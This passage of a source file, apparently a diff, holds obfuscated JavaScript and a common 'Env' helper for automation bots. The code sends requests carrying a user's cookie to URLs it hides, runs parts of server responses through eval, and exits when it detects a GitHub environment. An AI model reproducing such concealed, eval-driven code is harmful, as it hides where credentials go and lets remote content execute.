_0xf99b2(_0x15ea7c);},'MtxwO':_0xdc7a('0x34b','\x5e\x23\x31\x30'),'pQkCU':_0xdc7a('0x34c','\x67\x50\x32\x36'),'JEyTx':_0xdc7a('0x34d','\x29\x5a\x45\x41')};return new Promise(async _0x4e6df8=>{const _0x366a2b={'url':_0xdc7a('0x34e','\x26\x69\x32\x51'),'headers':{'Accept':_0x3df925[_0xdc7a('0x34f','\x30\x2a\x23\x72')],'Content-Type':_0x3df925[_0xdc7a('0x350','\x30\x2a\x23\x72')],'Accept-Encoding':_0x3df925[_0xdc7a('0x351','\x29\x4b\x4a\x4e')],'Accept-Language':_0x3df925[_0xdc7a('0x352','\x6f\x35\x52\x6d')],'Connection':_0x3df925[_0xdc7a('0x353','\x59\x72\x73\x33')],'Cookie':_0x58fcc8,'Referer':_0x3df925[_0xdc7a('0x354','\x43\x64\x33\x34')],'User-Agent':$[_0xdc7a('0x355','\x44\x43\x31\x28')]()?process[_0xdc7a('0x356','\x6c\x44\x6c\x40')][_0xdc7a('0x357','\x6c\x6c\x67\x4a')]?process[_0xdc7a('0x358','\x6b\x5b\x4d\x4d')][_0xdc7a('0x359','\x6a\x4a\x48\x67')]:_0x3df925[_0xdc7a('0x35a','\x43\x64\x33\x34')](require,_0x3df925[_0xdc7a('0x35b','\x6c\x44\x6c\x40')])[_0xdc7a('0x35c','\x41\x63\x56\x37')]:$[_0xdc7a('0x35d','\x78\x4d\x64\x6d')](_0x3df925[_0xdc7a('0x35e','\x7a\x57\x24\x36')])?$[_0xdc7a('0x35f','\x50\x76\x23\x40')](_0x3df925[_0xdc7a('0x360','\x51\x68\x68\x36')]):_0x3df925[_0xdc7a('0x361','\x29\x5a\x45\x41')]}};$[_0xdc7a('0x362','\x4e\x5a\x41\x4f')](_0x366a2b,(_0x41ac6e,_0x3ba78e,_0xc8919)=>{try{if(_0x41ac6e){$[_0xdc7a('0x363','\x50\x76\x23\x40')](''+JSON[_0xdc7a('0x364','\x50\x6d\x38\x21')](_0x41ac6e));$[_0xdc7a('0x139','\x7a\x71\x31\x6b')]($[_0xdc7a('0x365','\x59\x72\x73\x33')]+_0xdc7a('0x366','\x44\x29\x39\x38'));}else{if(_0xc8919){_0xc8919=JSON[_0xdc7a('0x12e','\x4f\x34\x57\x36')](_0xc8919);if(_0x3df925[_0xdc7a('0x367','\x69\x33\x54\x40')](_0xc8919[_0x3df925[_0xdc7a('0x368','\x43\x4f\x54\x63')]],0xd)){if(_0x3df925[_0xdc7a('0x369','\x29\x4b\x4a\x4e')](_0x3df925[_0xdc7a('0x36a','\x6a\x6e\x62\x29')],_0x3df925[_0xdc7a('0x36b','\x6a\x6e\x62\x29')])){$[_0xdc7a('0x36c','\x74\x32\x40\x32')]=![];return;}else{if(_0xc8919){_0xc8919=JSON[_0xdc7a('0x1d9','\x50\x6d\x38\x21')](_0xc8919);if(_0xc8919[_0xdc7a('0x36d','\x75\x46\x39\x4b')][_0xdc7a('0x36e','\x4f\x34\x57\x36')]){$[_0xdc7a('0x36f','\x5a\x53\x42\x4c')](_0xdc7a('0x370','\x75\x74\x59\x72')+_0xc8919[_0xdc7a('0x371','\x69\x33\x54\x40')][_0xdc7a('0x372','\x41\x63\x56\x37')]+'\u4e2a');}}}}if(_0x3df925[_0xdc7a('0x373','\x36\x5a\x28\x40')](_0xc8919[_0x3df925[_0xdc7a('0x374','\x52\x58\x25\x54')]],0x0)){$[_0xdc7a('0x375','\x57\x49\x26\x6c')]=_0xc8919[_0x3df925[_0xdc7a('0x376','\x25\x6d\x6d\x52')]]&&_0xc8919[_0x3df925[_0xdc7a('0x377','\x65\x75\x57\x4e')]][_0xdc7a('0x378','\x42\x64\x40\x71')]||$[_0xdc7a('0x379','\x36\x5a\x28\x40')];}else{$[_0xdc7a('0x16d','\x41\x63\x56\x37')]=$[_0xdc7a('0x37a','\x43\x4f\x54\x63')];}}else{$[_0xdc7a('0x62','\x6a\x29\x51\x73')](_0xdc7a('0x37b','\x29\x5a\x45\x41'));}}}catch(_0x2c607b){$[_0xdc7a('0x19f','\x7a\x71\x31\x6b')](_0x2c607b,_0x3ba78e);}finally{_0x3df925[_0xdc7a('0x37c','\x25\x56\x57\x63')](_0x4e6df8);}});});}function _0x59c718(){var _0x5a85a5={'FxWJj':_0xdc7a('0x37d','\x43\x4f\x54\x63'),'UZQDK':function _0x3f10d3(_0x3ca701,_0x2fd206){return _0x3ca701|_0x2fd206;},'Bfnge':function _0x52c4b5(_0x595544,_0xf15967){return _0x595544*_0xf15967;},'rVRHY':function _0x48c38f(_0x3311fe,_0x31dc6a){return _0x3311fe(_0x31dc6a);},'CGcWy':function _0x2add77(_0x18b97e,_0x56ebd3){return _0x18b97e==_0x56ebd3;},'xhKtP':function _0x4819ff(_0x5cd9a4,_0x802dd3){return _0x5cd9a4<_0x802dd3;},'KizZw':_0xdc7a('0x37e','\x52\x58\x25\x54'),'qwiuO':function _0x3285a5(_0x42cbcd,_0x2941dc){return _0x42cbcd===_0x2941dc;},'oKSYw':_0xdc7a('0x37f','\x59\x72\x73\x33'),'XTmTi':_0xdc7a('0x380','\x47\x4e\x30\x37'),'kACha':_0xdc7a('0x381','\x43\x4f\x54\x63'),'FkDgZ':function _0x24b828(_0x23079f,_0x27de31){return _0x23079f+_0x27de31;},'tFTyb':function _0xe287d3(_0x4e27c1,_0xa7c2ce){return _0x4e27c1+_0xa7c2ce;},'oiJMB':function _0x44e1ce(_0x1ea3f4,_0x428b4f){return _0x1ea3f4-_0x428b4f;}};let _0x4c275a=0xc,_0x2e7d55='';let _0x379bbd=_0x5a85a5[_0xdc7a('0x382','\x52\x58\x25\x54')],_0x38ff6c=_0x379bbd,_0x4c7f3f=_0x5a85a5[_0xdc7a('0x383','\x50\x76\x23\x40')](_0x5a85a5[_0xdc7a('0x384','\x6c\x44\x6c\x40')](Math[_0xdc7a('0x385','\x68\x4c\x4c\x64')](),0xa),0x0);let _0x29e3d8;do{_0x29e3d8=_0x5a85a5[_0xdc7a('0x386','\x41\x63\x56\x37')](_0x296a2f,{'size':0x1,'num':_0x379bbd}),_0x5a85a5[_0xdc7a('0x387','\x75\x43\x25\x5d')](_0x2e7d55[_0xdc7a('0x388','\x40\x2a\x4e\x4a')](_0x29e3d8),-0x1)&&(_0x2e7d55+=_0x29e3d8);}while(_0x5a85a5[_0xdc7a('0x389','\x62\x23\x58\x34')](_0x2e7d55[_0xdc7a('0x38a','\x42\x64\x40\x71')],0x3));for(let _0x5d726a of _0x2e7d55[_0x5a85a5[_0xdc7a('0x38b','\x6c\x44\x6c\x40')]]()){if(_0x5a85a5[_0xdc7a('0x38c','\x6a\x6e\x62\x29')](_0x5a85a5[_0xdc7a('0x38d','\x25\x6d\x6d\x52')],_0x5a85a5[_0xdc7a('0x38e','\x6f\x35\x52\x6d')])){$[_0xdc7a('0x38f','\x26\x69\x32\x51')]=$[_0xdc7a('0x390','\x68\x4c\x4c\x64')];}else{_0x38ff6c=_0x38ff6c[_0x5a85a5[_0xdc7a('0x391','\x43\x4f\x54\x63')]](_0x5d726a,'');}}$['\x66\x70']=_0x5a85a5[_0xdc7a('0x392','\x6a\x2a\x63\x77')](_0x5a85a5[_0xdc7a('0x393','\x62\x53\x29\x47')](_0x5a85a5[_0xdc7a('0x394','\x6b\x5b\x4d\x4d')](_0x5a85a5[_0xdc7a('0x395','\x6a\x4a\x48\x67')](_0x296a2f,{'size':_0x4c7f3f,'num':_0x38ff6c}),_0x2e7d55),_0x5a85a5[_0xdc7a('0x396','\x26\x69\x32\x51')](_0x296a2f,{'size':_0x5a85a5[_0xdc7a('0x397','\x6b\x5b\x4d\x4d')](_0x4c275a,_0x4c7f3f),'num':_0x38ff6c})),_0x4c7f3f);}function _0x296a2f(){var _0x29b6cd={'xEJFM':function _0x53ca37(_0xdb9863,_0x3cfa42){return _0xdb9863>_0x3cfa42;},'EEiAf':function _0x55a762(_0x594b00,_0x513751){return _0x594b00|_0x513751;},'DBuBY':function _0x554f2a(_0x31f7fd,_0x3dbf6f){return _0x31f7fd*_0x3dbf6f;}};let _0x25ff43=_0x29b6cd[_0xdc7a('0x398','\x6a\x4a\x48\x67')](arguments[_0xdc7a('0x399','\x29\x4b\x4a\x4e')],0x0)?arguments[0x0]:{},_0x1f96ad=_0x25ff43[_0xdc7a('0x39a','\x50\x6d\x38\x21')],_0x270c59=_0x25ff43[_0xdc7a('0x39b','\x4f\x37\x4f\x79')],_0xa66739='';for(;_0x1f96ad--;)_0xa66739+=_0x270c59[_0x29b6cd[_0xdc7a('0x39c','\x69\x33\x54\x40')](_0x29b6cd[_0xdc7a('0x39d','\x67\x50\x32\x36')](Math[_0xdc7a('0x39e','\x75\x43\x25\x5d')](),_0x270c59[_0xdc7a('0x39f','\x25\x56\x57\x63')]),0x0)];return _0xa66739;}function _0x4611d9(_0x200be9){var _0x335867={'qtuto':function _0x291e1a(_0x14806b,_0x60bcb0,_0x31a35c){return _0x14806b(_0x60bcb0,_0x31a35c);},'mfRMt':_0xdc7a('0x3a0','\x75\x46\x39\x4b'),'dnSng':function _0xa0f9fc(_0x2270f8,_0xf7f597){return _0x2270f8(_0xf7f597);}};try{_0x200be9=JSON[_0xdc7a('0x3a1','\x6c\x44\x6c\x40')](_0x200be9);}catch(_0x5c27c5){let _0x4ceb60=_0x200be9[_0xdc7a('0x3a2','\x69\x33\x54\x40')](new RegExp(/^try.*\((\w+)\).*/));let _0x12dd6b=_0x335867[_0xdc7a('0x3a3','\x69\x33\x54\x40')](_0x1f642d,[/^try.?\((\w+)\}\)*/,/^(\w+)\s*\n*\s*\(/],_0x200be9);if(_0x12dd6b){let _0xbfbc4d='';let _0x25070e=_0x200be9[_0xdc7a('0x3a4','\x44\x43\x31\x28')](_0x12dd6b,_0x335867[_0xdc7a('0x3a5','\x7a\x57\x24\x36')]);_0x335867[_0xdc7a('0x3a6','\x36\x5a\x28\x40')](eval,_0x25070e),_0xbfbc4d&&(_0x200be9=_0xbfbc4d);}}return _0x200be9;}function _0x1f642d(_0xd52f59,_0x59f0b0){var _0x1bbcb1={'APwVN':function _0x5c731b(_0x2396fe,_0x19cae8){return _0x2396fe instanceof _0x19cae8;},'GaiVF':function _0x3f3787(_0x55ec92,_0x2a2880){return _0x55ec92==_0x2a2880;},'HiqFr':function _0x2dd19a(_0x2a7e6f,_0x13ab01){return _0x2a7e6f==_0x13ab01;},'SpmCG':function _0x1dceb5(_0x3bcb18,_0x2d1043){return _0x3bcb18<_0x2d1043;}};_0xd52f59=_0x1bbcb1[_0xdc7a('0x3a7','\x6a\x4a\x48\x67')](_0xd52f59,Array)?_0xd52f59:[_0xd52f59];for(let _0x152718 of _0xd52f59){let _0xb512e9=_0x152718[_0xdc7a('0x3a8','\x36\x5a\x28\x40')](_0x59f0b0);if(_0xb512e9){let _0x449649=_0xb512e9[_0xdc7a('0x3a9','\x43\x4f\x54\x63')];if(_0x1bbcb1[_0xdc7a('0x3aa','\x78\x4d\x64\x6d')](_0x449649,0x1))return _0xb512e9;else{if(_0x1bbcb1[_0xdc7a('0x3ab','\x75\x74\x59\x72')](_0x449649,0x2))return _0xb512e9[0x1];else{let _0xf0f45e=[];for(let _0x227302=0x1;_0x1bbcb1[_0xdc7a('0x3ac','\x29\x4b\x4a\x4e')](_0x227302,_0x449649);_0x227302++){_0xf0f45e[_0xdc7a('0x3ad','\x5e\x23\x31\x30')](_0xb512e9[_0x227302]);}return _0xf0f45e;}}break;}}return'';};(function(_0x382ac1,_0x24c946,_0x7b6445){var _0x4a3b60={'dgRdL':function _0x1e1a3d(_0x200a11,_0xfa04e4){return _0x200a11!==_0xfa04e4;},'swZUl':_0xdc7a('0x3ae','\x29\x4b\x4a\x4e'),'neBuG':_0xdc7a('0x3af','\x6a\x29\x51\x73'),'vNjfI':_0xdc7a('0x3b0','\x79\x33\x2a\x76'),'OPFRJ':_0xdc7a('0x3b1','\x41\x63\x56\x37'),'CEzJL':function _0x4fba5c(_0x437b87,_0x48dca0){return _0x437b87===_0x48dca0;},'vVLYv':_0xdc7a('0x3b2','\x7a\x57\x24\x36'),'mpAtt':function _0x3f5498(_0x52c997,_0x1db751){return _0x52c997+_0x1db751;},'ydZDi':_0xdc7a('0x3b3','\x51\x68\x68\x36'),'eHwuO':_0xdc7a('0x3b4','\x50\x76\x23\x40')};_0x7b6445='\x61\x6c';try{if(_0x4a3b60[_0xdc7a('0x3b5','\x6a\x4a\x48\x67')](_0x4a3b60[_0xdc7a('0x3b6','\x30\x2a\x23\x72')],_0x4a3b60[_0xdc7a('0x3b7','\x40\x2a\x4e\x4a')])){_0x7b6445+=_0x4a3b60[_0xdc7a('0x3b8','\x4f\x34\x57\x36')];_0x24c946=encode_version;if(!(_0x4a3b60[_0xdc7a('0x3b9','\x68\x4c\x4c\x64')](typeof _0x24c946,_0x4a3b60[_0xdc7a('0x3ba','\x75\x43\x25\x5d')])&&_0x4a3b60[_0xdc7a('0x3bb','\x25\x6d\x6d\x52')](_0x24c946,_0x4a3b60[_0xdc7a('0x3bc','\x75\x43\x25\x5d')]))){_0x382ac1[_0x7b6445](_0x4a3b60[_0xdc7a('0x3bd','\x68\x4c\x4c\x64')]('\u5220\u9664',_0x4a3b60[_0xdc7a('0x3be','\x62\x53\x29\x47')]));}}else{$[_0xdc7a('0x3bf','\x42\x64\x40\x71')](e);}}catch(_0x11b849){_0x382ac1[_0x7b6445](_0x4a3b60[_0xdc7a('0x3c0','\x30\x2a\x23\x72')]);}}());;encode_version = 'jsjiami.com.v5'; +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file